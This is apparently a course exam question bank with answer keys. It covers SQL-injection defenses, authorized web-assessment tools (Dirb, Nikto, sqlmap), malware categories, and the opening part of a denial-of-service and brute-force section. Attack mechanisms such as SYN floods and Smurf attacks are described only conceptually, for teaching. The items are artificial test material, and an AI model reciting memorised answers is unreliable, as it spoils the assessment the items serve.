Source page reference: p. 41

Q130 | True / False

User-visible error messages should contain complete database internals to simplify debugging.

- A. True
- B. Only when a firewall is disabled
- C. Only for encrypted traffic
- D. False

Answer: D. False

Why: Detailed internals belong in protected logs, not public responses.

Source page reference: p. 41

Q131 | Assertion-reason

Assertion: Least privilege reduces SQL-injection impact.

Reason: A compromised application cannot perform database operations that its account is not permitted to execute.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Restricted privileges limit consequences.

Source page reference: p. 41

Q132 | Assertion-reason

Assertion: Prepared statements are safer than manual concatenation.

Reason: Bound parameters are treated as literal values rather than SQL command fragments.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: This is the central prevention mechanism.

Source page reference: p. 41

9. Web-assessment tools and authorized testing

8 questions. Answers appear immediately below each item.

Q133 | Scenario

During an authorized assessment, a tester wants to discover website content paths using a dictionary-based approach. Which tool is most appropriate?

- A. Dirb
- B. Nikto
- C. sqlmap
- D. Netcat listener

Answer: A. Dirb

Why: Dirb checks website content using a dictionary.

Source page reference: p. 42

Q134 | Scenario

During an authorized assessment, a tester wants to identify potential web-server security issues. Which tool is most appropriate?

- A. Dirb
- B. sqlmap
- C. A primary key
- D. Nikto

Answer: D. Nikto

Why: Nikto checks websites for potential security issues.

Source page reference: p. 42

Q135 | Scenario

During an authorized assessment, a tester wants to test for potential SQL-injection vulnerabilities. Which tool is most directly relevant?

- A. Nikto
- B. IPSec only
- C. sqlmap
- D. Dirb

Answer: C. sqlmap

Why: sqlmap is designed for SQL-injection testing and exploitation in authorized contexts.

Source page reference: p. 42

Q136 | Single answer

Which condition is required before using automated web-assessment tools against a system?

- A. A scanner installed on a laptop
- B. Explicit authorization and an approved scope
- C. A publicly reachable login page alone
- D. A personal belief that the test will be helpful

Answer: B. Explicit authorization and an approved scope

Why: Testing tools must be used only with permission and within scope.

Source page reference: p. 42

Q137 | Comparison

Which statement correctly distinguishes Dirb, Nikto, and sqlmap?

- A. Dirb enumerates content paths, Nikto checks for web security issues, and sqlmap tests SQL-injection risk
- B. All three are identical antivirus products
- C. Dirb is a VPN, Nikto is a rootkit, and sqlmap is a worm
- D. All three only update firewall ACLs

Answer: A. Dirb enumerates content paths, Nikto checks for web security issues, and sqlmap tests SQL-injection risk
Why: Each tool serves a different web-assessment purpose.

Source page reference: p. 42

Q138 | EXCEPT / NOT

All of the following are appropriate uses of web-assessment tools EXCEPT:

- A. Testing an application within an approved scope
- B. Using results to prioritize remediation
- C. Documenting findings for authorized stakeholders
- D. Scanning systems without permission merely because they are reachable

Answer: D. Scanning systems without permission merely because they are reachable
Why: Reachability is not authorization.

Source page reference: p. 42

Q139 | True / False

sqlmap should be used only against systems for which testing is authorized.

- A. Only when a firewall is disabled
- B. Only for encrypted traffic
- C. True
- D. False

Answer: C. True
Why: Automated exploitation features require explicit permission and scope.

Source page reference: p. 42

Q140 | Assertion-reason

Assertion: Automated scanners do not replace secure coding.

Reason: A scanner may identify symptoms, but preventing SQL injection requires safe query construction and layered controls.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion
Why: Tools support assessment; they do not substitute for remediation.

Source page reference: pp. 41-42

10. Integrated scenarios and misconception checks

13 questions. Answers appear immediately below each item.

Q141 | Mini case study

An employee opens an office file with macros. The document downloads an encrypting payload, and the organization restores systems from tested backups. Which sequence best describes the incident and resilience measure?

- A. Macro-based staged ransomware delivery followed by backup-based recovery
- B. Prepared statement execution followed by NAT
- C. Static packet filtering followed by SQL deletion
- D. Rootkit concealment followed by public error reporting

Answer: A. Macro-based staged ransomware delivery followed by backup-based recovery

Why: The initial document loads the ransomware payload, and backups provide recovery.

Source page reference: pp. 7, 18

Q142 | Mini case study

A scanner misses a changing malware sample because it relies only on a fixed known-byte pattern. Which improvement is most relevant?

- A. Expose more SQL internals publicly
- B. Remove backups
- C. Permit every attachment
- D. Add heuristic or behavior-based analysis alongside updated signatures

Answer: D. Add heuristic or behavior-based analysis alongside updated signatures

Why: Layering signatures with heuristics improves detection coverage.

Source page reference: pp. 12, 29

Q143 | Mini case study

A website login uses direct query concatenation, the application account can drop tables, and the error page exposes raw SQL. Which combination of improvements is strongest?

- A. Disable logging and patching
- B. Allow unrestricted database administration
- C. Use prepared statements, reduce database privileges, validate input, and limit user-visible errors
- D. Add a wrapper to the executable

Answer: C. Use prepared statements, reduce database privileges, validate input, and limit user-visible errors

Why: Multiple weaknesses require layered remediation.

Source page reference: pp. 35, 41

Q144 | Mini case study

A malicious program arrives disguised as a useful utility, installs a keylogger, modifies logs, and opens a backdoor. Which interpretation is strongest?

- A. The behavior is harmless because the utility has a visible interface
- B. A Trojan delivery mechanism may have installed spyware and rootkit-like capabilities
- C. The event can only be a prepared SQL query
- D. The program must be a circuit gateway

Answer: B. A Trojan delivery mechanism may have installed spyware and rootkit-like capabilities

Why: Malware categories can overlap: deceptive delivery, surveillance, and concealment may coexist.

Source page reference: pp. 19, 22, 26

Q145 | Mini case study

A monitoring application is proposed for employee devices. Which governance question should be answered before deployment?

- A. Whether the monitoring is lawful, authorized, proportionate, and communicated as required
- B. Whether the tool can bypass all legal rules
- C. Whether the tool uses a colorful interface
- D. Whether the database table name is short

Answer: A. Whether the monitoring is lawful, authorized, proportionate, and communicated as required
Why: Dual-use monitoring needs legal and policy review.

Source page reference: pp. 24-27

Q146 | Mini case study

A web application uses parameterized SQL but allows users to upload and execute arbitrary office documents with macros. Which statement is correct?

- A. Prepared statements block every malware type
- B. Macro viruses are database rows
- C. A SQL defense eliminates the need for antivirus
- D. SQL injection may be mitigated while malware-upload risk still remains

Answer: D. SQL injection may be mitigated while malware-upload risk still remains
Why: Controls address different threats; defense-in-depth remains necessary.

Source page reference: pp. 7, 30, 41

Q147 | Mini case study

An organization scans only endpoint files but ignores mail attachments and shared storage. What is the best improvement?

- A. Place malware samples on the shared drive
- B. Reveal scanner logs publicly
- C. Deploy layered filtering and scanning across endpoints, mail, and network storage
- D. Disable all scanning to avoid conflicts

Answer: C. Deploy layered filtering and scanning across endpoints, mail, and network storage
Why: Malware defenses should cover multiple delivery paths.

Source page reference: pp. 17, 30

Q148 | Mini case study

A database breach exposes password hashes rather than plaintext passwords. Which control reduced immediate disclosure risk?

- A. A macro virus
- B. Password hashing
- C. Direct concatenation
- D. A rootkit

Answer: B. Password hashing
Why: Hashes are safer than plaintext storage, although strong hashing and credential-reset planning remain important.

Source page reference: p. 41

Q149 | Comparison

Which statement is correct about viruses and worms?

- A. A virus commonly needs user action; a worm can self-propagate without it
- B. Both terms always mean ransomware
- C. A worm is a database table
- D. A virus is a firewall rule

Answer: A. A virus commonly needs user action; a worm can self-propagate without it
Why: Human involvement is the core distinction in this lecture.

Source page reference: p. 3

Q150 | Comparison

Which statement is correct about signatures and heuristics?

- A. Both are SQL clauses
- B. Heuristics require exact known bytes only
- C. Signatures are always sufficient for polymorphic samples
- D. Signatures match known patterns; heuristics look for suspicious behavior or code traits

Answer: D. Signatures match known patterns; heuristics look for suspicious behavior or code traits
Why: The techniques complement each other.

Source page reference: p. 29

Q151 | Comparison

Which statement is correct about prepared statements and sanitization?

- A. Prepared statements intentionally expose errors
- B. Both require concatenating raw input
- C. Prepared statements separate code from data; validation and sanitization provide an additional layer
- D. Sanitization replaces access control

Answer: C. Prepared statements separate code from data; validation and sanitization provide an additional layer
Why: Layered secure coding is strongest.

Source page reference: p. 41

Q152 | Comparison

Which statement is correct about spyware and rootkits?

- A. Spyware is a SQL table
- B. Spyware focuses on information gathering; rootkits emphasize privileged control and concealment
- C. Both are always legal monitoring software
- D. Rootkits cannot modify logs

Answer: B. Spyware focuses on information gathering; rootkits emphasize privileged control and concealment
Why: The capabilities may overlap but the emphases differ.

Source page reference: pp. 22-27

Q153 | Comparison

Which statement is correct about SQL injection and ransomware?

- A. SQL injection abuses database query construction; ransomware seeks to deny access to data or systems
- B. Both are packet-filter ACLs
- C. Ransomware is only a WHERE clause
- D. SQL injection is always delivered through macros

Answer: A. SQL injection abuses database query construction; ransomware seeks to deny access to data or systems

Why: They are different threats requiring different controls.

Source page reference: pp. 18, 33-41

11. Rapid revision: applied concept identification

15 questions. Answers appear immediately below each item.

Q154 | Classification

Which concept best matches this situation? A document template executes embedded automation code when opened.

- A. Display even more internals
- B. Disable logging entirely
- C. Give the user database administrator access
- D. Macro virus

Answer: D. Macro virus

Why: The defining clue is: A document template executes embedded automation code when opened.

Source page reference: pp. 7, 13

Q155 | Classification

Which concept best matches this situation? A sample changes form every time it spreads.

- A. Disable logging entirely
- B. Give the user database administrator access
- C. Polymorphic malware
- D. Display even more internals

Answer: C. Polymorphic malware

Why: The defining clue is: A sample changes form every time it spreads.

Source page reference: pp. 12-13

Q156 | Classification

Which concept best matches this situation? A sample infects files only at infrequent intervals.

- A. Give the user database administrator access
- B. Sparse infector
- C. Display even more internals
- D. Disable logging entirely

Answer: B. Sparse infector

Why: The defining clue is: A sample infects files only at infrequent intervals.

Source page reference: pp. 11, 13

Q157 | Classification

Which concept best matches this situation? A sample remains installed in RAM.

- A. Memory-resident malware
- B. Display even more internals
- C. Disable logging entirely
- D. Give the user database administrator access

Answer: A. Memory-resident malware

Why: The defining clue is: A sample remains installed in RAM.

Source page reference: pp. 10, 13

Q158 | Classification

Which concept best matches this situation? A program looks harmless but secretly opens a backdoor.

- A. Display even more internals
- B. Disable logging entirely
- C. Give the user database administrator access
- D. Trojan horse

Answer: D. Trojan horse

Why: The defining clue is: A program looks harmless but secretly opens a backdoor.

Source page reference: p. 19

Q159 | Classification

Which concept best matches this situation? A tool collection grants privileged access and modifies logs to hide activity.

- A. Disable logging entirely
- B. Give the user database administrator access
- C. Rootkit
- D. Display even more internals

Answer: C. Rootkit

Why: The defining clue is: A tool collection grants privileged access and modifies logs to hide activity.

Source page reference: p. 26

Q160 | Classification

Which concept best matches this situation? A covert tool records user keystrokes for surveillance.

- A. Give the user database administrator access
- B. Spyware
- C. Display even more internals
- D. Disable logging entirely

Answer: B. Spyware

Why: The defining clue is: A covert tool records user keystrokes for surveillance.

Source page reference: pp. 22-23

Q161 | Classification

Which concept best matches this situation? A program automatically propagates without waiting for a user to open a file.

- A. Worm
- B. Display even more internals
- C. Disable logging entirely
- D. Give the user database administrator access

Answer: A. Worm

Why: The defining clue is: A program automatically propagates without waiting for a user to open a file.

Source page reference: p. 3

Q162 | Classification

Which concept best matches this situation? A query is built by concatenating raw browser input into SQL.

- A. Display even more internals
- B. Disable logging entirely
- C. Give the user database administrator access
- D. SQL-injection risk

Answer: D. SQL-injection risk

Why: The defining clue is: A query is built by concatenating raw browser input into SQL.

Source page reference: pp. 35-38

Q163 | Classification

Which concept best matches this situation? A database API binds a submitted value separately from query syntax.

- A. Disable logging entirely
- B. Give the user database administrator access
- C. Prepared statement
- D. Display even more internals

Answer: C. Prepared statement

Why: The defining clue is: A database API binds a submitted value separately from query syntax.

Source page reference: p. 41

Q164 | Classification

Which concept best matches this situation? A scanner checks for stored byte patterns from known malicious samples.

- A. Give the user database administrator access
- B. Signature-based detection
- C. Display even more internals
- D. Disable logging entirely

Answer: B. Signature-based detection

Why: The defining clue is: A scanner checks for stored byte patterns from known malicious samples.

Source page reference: p. 29

Q165 | Classification

Which concept best matches this situation? A scanner flags suspicious registry and address-book access.

- A. Heuristic detection
- B. Display even more internals
- C. Disable logging entirely
- D. Give the user database administrator access

Answer: A. Heuristic detection

Why: The defining clue is: A scanner flags suspicious registry and address-book access.

Source page reference: p. 29

Q166 | Classification

Which concept best matches this situation? An authorized tester enumerates website content paths from a dictionary.

- A. Display even more internals
- B. Disable logging entirely
- C. Give the user database administrator access
- D. Dirb

Answer: D. Dirb

Why: The defining clue is: An authorized tester enumerates website content paths from a dictionary.

Source page reference: p. 42

Q167 | Classification

Which concept best matches this situation? An authorized tester checks a website for potential security issues.

- A. Disable logging entirely
- B. Give the user database administrator access
- C. Nikto
- D. Display even more internals

Answer: C. Nikto

Why: The defining clue is: An authorized tester checks a website for potential security issues.

Source page reference: p. 42

Q168 | Classification

Which concept best matches this situation? An authorized tester evaluates SQL-injection risk using an automated tool.

- A. Give the user database administrator access
- B. sqlmap
- C. Display even more internals
- D. Disable logging entirely

Answer: B. sqlmap

Why: The defining clue is: An authorized tester evaluates SQL-injection risk using an automated tool.

Source page reference: p. 42

End of cleaned question bank

Use the source-page references to locate the relevant lecture content during revision. Malware samples and web-assessment tools must be handled only in isolated, authorized environments. SQL-injection testing must stay within an approved scope.

Lecture 6 - Denial of service and brute force

Cleaned exam-style MCQ question bank

194 questions. The correct answer and a concise explanation appear directly below every item.

Exam-style rule: questions test mechanisms, diagnosis, mitigation, defensive design, and applied reasoning. Administrative details, slide-order recall, screenshot trivia, exact historic percentages, date memorization, and unsafe operational instructions are excluded.

Source-page references: retained only as a study-navigation aid; they are not part of the question wording.

Coverage map

Section	Questions
1. DoS fundamentals and the availability objective	18
2. DoS trends, attack surfaces, and interpretation	14
3. Classic DoS mechanisms: fragmentation, handshakes, broadcasts, and loops	27
4. SYN-flood defenses and bottleneck-aware mitigation	15
5. Layered DoS mitigation, reverse proxies, and incident response	19
6. DDoS campaign structure, C&C weaknesses, and traceability	15
7. DDoS tool concepts and safe recognition	12
8. Slow application-layer DoS and partial-request exhaustion	12
9. Brute-force guessing: local, remote, dictionary, and targeted strategies	18
10. Brute-force detection, account-lockout tradeoffs, and password defense	18
11. IoT brute-force risk, default credentials, and botnet recruitment	12
12. Integrated exam scenarios and misconception checks	14
Total	194

Searchable quick reference

Item	Meaning
DoS	Attack intended to prevent legitimate access to a service or system
DDoS	Distributed DoS using multiple sources or agents
Availability	CIA objective primarily targeted by DoS
SYN flood	Exhausts state for incomplete TCP handshakes
SYN cookie	Validates client response while avoiding premature state allocation
RST cookie	Uses a deliberately unsuitable SYN-ACK and observes client reset behavior
Ping of Death	Historically abuses oversized fragmented-packet handling
Smurf	Uses broadcast ICMP requests with a spoofed victim source address
Teardrop	Uses overlapping fragments to break vulnerable reassembly
LAND	Uses identical spoofed source and destination endpoint values
Slowloris	Low-bandwidth Layer 7 attack that holds partial HTTP requests open
Firewall mitigation	Filters recognizable unwanted traffic patterns
IDS / IPS	Detects suspicious activity and may trigger protective action
Reverse proxy	Frontend that can filter, absorb, or reroute traffic before the origin
Botnet	Collection of compromised agents that can participate in DDoS
C&C	Infrastructure coordinating botnet agents
Brute force	Trial-and-error guessing of unknown values
Offline testing	Authorized guess verification against a copied verifier dataset
Remote guessing	Attempts sent to an exposed authentication service
Dictionary attack	Prioritizes likely passwords or phrases
Rule-based permutation	Generates variations of likely password candidates
Rate limiting	Slows online guessing attempts
Account-lockout risk	A protective control that can be abused to deny legitimate access
IoT hardening	Replace defaults, patch devices, restrict remote management, and monitor behavior

1. DoS fundamentals and the availability objective

18 questions. Answers appear immediately below each item.

Q1. [Single answer] Which CIA-triad objective is primarily targeted by a denial-of-service attack?

- A. Availability
- B. Confidentiality
- C. Integrity
- D. Non-repudiation

Answer: A. Availability

Why: A DoS attack prevents legitimate users from accessing a system or service.

Lecture source: p. 12

Q2. [Single answer] Which description best captures the goal of a denial-of-service attack?

- A. Secretly modify stored records without affecting access
- B. Steal encryption keys while keeping the service fully available
- C. Create a prepared SQL statement
- D. Prevent legitimate users from accessing a service or system

Answer: D. Prevent legitimate users from accessing a service or system

Why: DoS is primarily an availability attack.

Lecture source: p. 12

Q3. [Comparison] What is the main distinction between DoS and DDoS?

- A. DDoS changes file integrity, while DoS changes confidentiality
- B. DoS always uses HTTP, while DDoS always uses ICMP
- C. DDoS uses multiple participating sources to overwhelm the target, while DoS may originate from a single source
- D. DoS affects only databases, while DDoS affects only firewalls

Answer: C. DDoS uses multiple participating sources to overwhelm the target, while DoS may originate from a single source

Why: Distributed attacks involve multiple sources or agents and are harder to absorb or filter.

Lecture source: pp. 11-12, 39, 48

Q4. [Scenario] A public service remains online but becomes unusable because valid users cannot complete requests. Which security property has most directly failed?

- A. Password hashing
- B. Availability
- C. Confidentiality
- D. Data authenticity

Answer: B. Availability

Why: A service that cannot be used by legitimate users has suffered an availability failure.

Lecture source: p. 12

Q5. [Scenario] An organization receives a flood of requests that exhausts a finite server resource. No data is stolen or altered. Which attack family best fits?

- A. Denial of service
- B. SQL injection
- C. Credential harvesting only
- D. Macro-virus propagation

Answer: A. Denial of service

Why: Resource exhaustion commonly results in service unavailability.

Lecture source: pp. 12, 26

Q6. [Single answer] Why do finite resource limits matter in DoS analysis?

- A. Limits automatically encrypt traffic
- B. Limits guarantee that every request is legitimate
- C. Limits prevent any network monitoring
- D. An attacker can exceed a bottleneck until normal response behavior breaks down

Answer: D. An attacker can exceed a bottleneck until normal response behavior breaks down

Why: DoS exploits physical or logical capacity limits.

Lecture source: p. 26

Q7. [Select all that apply] Which resources can become bottlenecks during a DoS attack?

- A. Network bandwidth
- B. CPU computation capacity
- C. Capacity for parallel connection handshakes
- D. Storage or file-size handling limits
- E. Number of users a service can process
- F. A prepared statement placeholder

Answer: A, B, C, D, E. Network bandwidth; CPU computation capacity; Capacity for parallel connection handshakes; Storage or file-size handling limits; Number of users a service can process

Why: A DoS attack may stress bandwidth, compute, connection state, or service-capacity limits.

Lecture source: p. 26

Q8. [EXCEPT / NOT] All of the following are plausible DoS bottlenecks EXCEPT:

- A. CPU capacity for expensive request processing
- B. A cryptographic signature verifying the origin of a software package
- C. Available network bandwidth
- D. The server backlog for incomplete connection handshakes

Answer: B. A cryptographic signature verifying the origin of a software package

Why: Signatures are useful controls but are not themselves a capacity bottleneck of the type described.

Lecture source: p. 26

Q9. [True / False] A DoS attack can be devastating even when it does not modify data.

- A. True
- B. False
- C. Only for encrypted traffic
- D. Only when every host is offline

Answer: A. True

Why: The central harm can be loss of availability rather than loss of integrity.

Lecture source: pp. 12, 48

Q10. [True / False] Every effective DDoS attack must exploit a software bug.

- A. True
- B. Only for encrypted traffic
- C. Only when every host is offline
- D. False

Answer: D. False

Why: Many DDoS attacks succeed by exhausting legitimate finite resources rather than exploiting a coding defect.

Lecture source: p. 26

Q11. [Assertion-reason] Assertion: Capacity planning is relevant to DoS resilience.

Reason: DoS attacks can exploit physical or logical bottlenecks such as bandwidth, CPU capacity, or connection-state limits.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Resilience depends partly on understanding and protecting scarce resources.

Lecture source: p. 26

Q12. [Assertion-reason] Assertion: Availability failures can occur without confidentiality failures.

Reason: A system may become inaccessible to legitimate users even if data remains secret.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: The CIA properties are distinct even though incidents can affect more than one.

Lecture source: p. 12

Q13. [Mini case study] A server handles ordinary traffic correctly until the number of simultaneous handshake attempts rises sharply. Existing users can still read cached content, but new connections fail. What should the responder investigate first?

- A. Connection-state exhaustion
- B. Database row encryption
- C. File-integrity signatures
- D. Macro settings in office documents

Answer: A. Connection-state exhaustion

Why: The symptom points to a finite connection-establishment resource such as a handshake backlog.

Lecture source: pp. 26, 30

Q14. [Mini case study] A service fails only when expensive dynamic requests surge, while static content remains easy to serve. Which bottleneck is the most plausible?

- A. A lack of antivirus signature updates only
- B. An invalid DNS primary key
- C. A missing email attachment filter
- D. CPU or application-processing capacity

Answer: D. CPU or application-processing capacity

Why: Application requests can consume computation even when bandwidth is not exhausted.

Lecture source: pp. 26-27

Q15. [Defensive design] Which first step is most appropriate when designing DoS protection for a service?

- A. Disable logs to save storage
- B. Expose the origin server directly to every client
- C. Identify finite resources and expected load so bottlenecks can be protected
- D. Assume all traffic can be accepted indefinitely

Answer: C. Identify finite resources and expected load so bottlenecks can be protected

Why: Understanding bottlenecks guides rate limits, scaling, and filtering.

Lecture source: p. 26

Q16. [Comparison] Which comparison correctly distinguishes Layer 4 and Layer 7 DoS risks?

- A. Layer 4 and Layer 7 attacks are identical to SQL injection
- B. Layer 4 attacks often stress transport or connection handling, while Layer 7 attacks can stress application behavior
- C. Layer 4 attacks only change passwords, while Layer 7 attacks only modify logs
- D. Layer 7 attacks are always harmless because they use HTTP

Answer: B. Layer 4 attacks often stress transport or connection handling, while Layer 7 attacks can stress application behavior

Why: Different layers expose different bottlenecks.

Lecture source: p. 27

Q17. [True / False] DoS resilience requires attention at both the network level and the service level.

- A. True
- B. False
- C. Only for encrypted traffic
- D. Only when every host is offline

Answer: A. True

Why: Different attacks stress different layers and resources.

Lecture source: pp. 27, 48

Q18. [EXCEPT / NOT] Which option is NOT a sound general lesson about DoS?

- A. Monitor network and service behavior
- B. Patch systems to remove known weaknesses
- C. Use layered protection because attack methods differ
- D. One firewall rule guarantees protection against every present and future DoS technique

Answer: D. One firewall rule guarantees protection against every present and future DoS technique

Why: DoS methods vary; no single rule is universally sufficient.

Lecture source: pp. 36-39, 48

2. DoS trends, attack surfaces, and interpretation

14 questions. Answers appear immediately below each item.

Q19. [Single answer] Why can Layer 7 DoS attacks be difficult to distinguish from legitimate traffic?

- A. They never establish network connections
- B. They can only occur on disconnected systems
- C. They can use application requests that look structurally valid while consuming expensive resources
- D. They always use invalid IP headers

Answer: C. They can use application requests that look structurally valid while consuming expensive resources

Why: Application-layer requests may resemble ordinary client activity.

Lecture source: p. 27

Q20. [Single answer] What does a rise in application-layer attacks imply for defenders?

- A. Every attack can be stopped by blocking ICMP
- B. Network-only controls should be complemented by service-level monitoring and protection
- C. All packet filtering should be removed
- D. CPU and application behavior no longer matter

Answer: B. Network-only controls should be complemented by service-level monitoring and protection

Why: Application-layer attacks require visibility into service behavior and resource use.

Lecture source: p. 27

Q21. [Scenario] An attack uses a modest amount of bandwidth but causes a web service to exhaust worker capacity. Which category is most plausible?

- A. Application-layer DoS
- B. Pure bandwidth saturation only
- C. A static SQL schema error
- D. A local antivirus update

Answer: A. Application-layer DoS

Why: Layer 7 attacks can exhaust service resources with comparatively low traffic volume.

Lecture source: pp. 27, 46

Q22. [Single answer] Why is raw traffic volume not the only metric that matters for DoS detection?

- A. Bandwidth has no relationship to availability
- B. Only file hashes matter during DoS
- C. All attacks are identical once encrypted
- D. Some attacks consume scarce application or connection resources without requiring maximum bandwidth

Answer: D. Some attacks consume scarce application or connection resources without requiring maximum bandwidth

Why: Low-volume attacks can still exhaust stateful resources or workers.

Lecture source: pp. 26, 46

Q23. [Scenario] A security team notices that different campaigns favor different protocols over time. What is the best defensive conclusion?

- A. All protocol-specific telemetry should be deleted
- B. DoS protection is unnecessary after a patch cycle
- C. Mitigation should be adaptable and layered rather than tied to one protocol
- D. Only the historically most common protocol should ever be monitored

Answer: C. Mitigation should be adaptable and layered rather than tied to one protocol

Why: Attack distributions evolve; defenses must not assume one permanent pattern.

Lecture source: pp. 22-27, 36-39

Q24. [Single answer] A set of longitudinal DDoS reports shows changing targets, protocols, durations, and infrastructure locations. Which interpretation is best?

- A. HTTP floods have disappeared permanently
- B. DDoS activity changes over time across targets, protocols, durations, and infrastructure locations
- C. Every DDoS attack has the same duration and protocol
- D. One country always hosts all command-and-control systems

Answer: B. DDoS activity changes over time across targets, protocols, durations, and infrastructure locations

Why: The charts illustrate changing distributions, not immutable constants.

Lecture source: pp. 13-25

Q25. [Chart interpretation] A dashboard shows many short-lived attacks and a smaller number of long-running attacks. Which design implication is most reasonable?

- A. Detection and mitigation should react quickly, even when an attack may be brief
- B. Ignore attacks until they have lasted several days
- C. Disable automated alerting
- D. Treat short attacks as proof of normal traffic

Answer: A. Detection and mitigation should react quickly, even when an attack may be brief

Why: Short attacks can still disrupt services and require fast response.

Lecture source: pp. 16-18

Q26. [Chart interpretation] A report shows that DDoS attack types are not limited to a single transport or application protocol. What is the best conclusion?

- A. Block one port and assume the problem is permanently solved
- B. Rely only on database backups
- C. Remove all reverse proxies
- D. Defenses should combine filtering, monitoring, service protection, and capacity measures

Answer: D. Defenses should combine filtering, monitoring, service protection, and capacity measures

Why: Multiple techniques require layered mitigation.

Lecture source: pp. 24-27, 36-37

Q27. [Comparison] Which statement best compares sophisticated and simple DoS campaigns?

- A. Advanced attacks cannot use Layer 7
- B. Only insiders can conduct DDoS
- C. Professionally engineered campaigns may use more advanced patterns, while simpler tools can still cause harm when enough sources participate
- D. Simple attacks can never affect a service

Answer: C. Professionally engineered campaigns may use more advanced patterns, while simpler tools can still cause harm when enough sources participate

Why: Attack sophistication varies, but simple floods can still be damaging.

Lecture source: pp. 27, 42, 48

Q28. [Select all that apply] Which signals may help distinguish a DoS campaign from ordinary load?

- A. Many long-lived partial HTTP requests
- B. Repeated access patterns from distributed sources
- C. A normal scheduled backup with expected resource use
- D. Unusual growth in incomplete handshakes
- E. Sustained request rates beyond expected capacity

Answer: A, B, D, E. Unusual growth in incomplete handshakes; Sustained request rates beyond expected capacity; Many long-lived partial HTTP requests; Repeated access patterns from distributed sources

Why: Useful signals depend on attack type and service baseline.

Lecture source: pp. 26, 30, 39, 46

Q29. [EXCEPT / NOT] All of the following support adaptive DoS defense EXCEPT:

- A. Assuming the protocol distribution will never change
- B. Monitoring network and service metrics
- C. Updating detection rules as attack behavior evolves
- D. Combining traffic filtering with service-level controls

Answer: A. Assuming the protocol distribution will never change

Why: Static assumptions are unsafe because attack techniques and distributions change.

Lecture source: pp. 22-27

Q30. [True / False] A low-bandwidth attack can still cause denial of service if it ties up a scarce application resource.

- A. False
- B. Only for encrypted traffic
- C. Only when every host is offline
- D. True

Answer: D. True

Why: Slow application-layer attacks illustrate this principle.

Lecture source: p. 46

Q31. [Assertion-reason] Assertion: DoS monitoring should include application metrics as well as network metrics.

Reason: Some attacks consume service-level resources while using relatively modest bandwidth.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Layer 7 attacks can evade simplistic volume-only reasoning.

Lecture source: pp. 27, 46

Q32. [Mini case study] A web service is protected by a high-bandwidth uplink, but attackers keep many requests partially open and exhaust sockets. What assumption failed?

- A. The assumption that a VPN can encrypt traffic
- B. The assumption that bandwidth capacity alone is sufficient for resilience
- C. The assumption that SQL has tables
- D. The assumption that antivirus scanners need updates

Answer: B. The assumption that bandwidth capacity alone is sufficient for resilience

Why: A service can fail because of socket or worker exhaustion even when bandwidth remains available.

Lecture source: pp. 26, 46

3. Classic DoS mechanisms: fragmentation, handshakes, broadcasts, and loops

27 questions. Answers appear immediately below each item.

Q33. [Single answer] What is the key idea behind a Ping of Death attack?

- A. Use malformed or oversized fragmented packets to trigger faulty reassembly or buffer handling
- B. Send legitimate DNS replies to a cache
- C. Guess passwords using a wordlist
- D. Keep a prepared SQL statement open

Answer: A. Use malformed or oversized fragmented packets to trigger faulty reassembly or buffer handling

Why: Historically, vulnerable systems could crash or misbehave when processing oversized reassembled packets.

Lecture source: p. 29

Q34. [Scenario] A vulnerable host crashes while reassembling fragments whose combined size exceeds an expected packet limit. Which attack is most consistent with the symptom?

- A. SYN cookie validation
- B. Dictionary attack
- C. Circuit-level proxying
- D. Ping of Death

Answer: D. Ping of Death

Why: Ping of Death abuses oversized fragmented packet handling.

Lecture source: p. 29

Q35. [Single answer] What security lesson is illustrated by historical Ping of Death vulnerabilities?

- A. Allow all ICMP broadcasts
- B. Use default router passwords
- C. Keep operating systems and network stacks patched
- D. Disable all logging

Answer: C. Keep operating systems and network stacks patched

Why: Patches remove known implementation flaws that make malformed packets dangerous.

Lecture source: p. 29

Q36. [Single answer] What does a SYN flood primarily exhaust?

- A. A password hash file stored offline
- B. State or backlog capacity for incomplete TCP connection attempts
- C. A database primary-key index
- D. A mail attachment filter

Answer: B. State or backlog capacity for incomplete TCP connection attempts

Why: The server waits for final acknowledgments that never arrive.

Lecture source: p. 30

Q37. [Scenario] A server receives many SYN packets, responds with SYN-ACK packets, and waits for final acknowledgments that never arrive. What attack is occurring?

- A. SYN flood
- B. Smurf amplification
- C. Teardrop fragmentation
- D. Dictionary attack

Answer: A. SYN flood

Why: The attacker creates many half-open TCP connections.

Lecture source: p. 30

Q38. [Single answer] During a SYN flood, which TCP step is intentionally omitted by the attacker?

- A. The initial SYN
- B. The server SYN-ACK
- C. The DNS query preceding every TCP connection
- D. The final ACK completing the three-way handshake

Answer: D. The final ACK completing the three-way handshake

Why: The server waits for completion while state accumulates.

Lecture source: p. 30

Q39. [Single answer] What is the essential mechanism of a Smurf attack?

- A. Identical source and destination ports create a local loop
- B. An HTTP client keeps partial requests open
- C. A spoofed victim address is used in broadcast ICMP requests so intermediaries flood the victim with replies
- D. Overlapping TCP fragments prevent reassembly

Answer: C. A spoofed victim address is used in broadcast ICMP requests so intermediaries flood the victim with replies

Why: Smurf uses spoofing and amplification through responding intermediaries.

Lecture source: p. 31

Q40. [Scenario] A router forwards an ICMP echo request to a broadcast address. The packet carries the victim address as its spoofed source, causing many replies to hit the victim. Which attack is this?

- A. Password spraying
- B. Smurf attack
- C. Slowloris
- D. LAND attack

Answer: B. Smurf attack

Why: Broadcast replies amplify traffic toward the spoofed victim.

Lecture source: p. 31

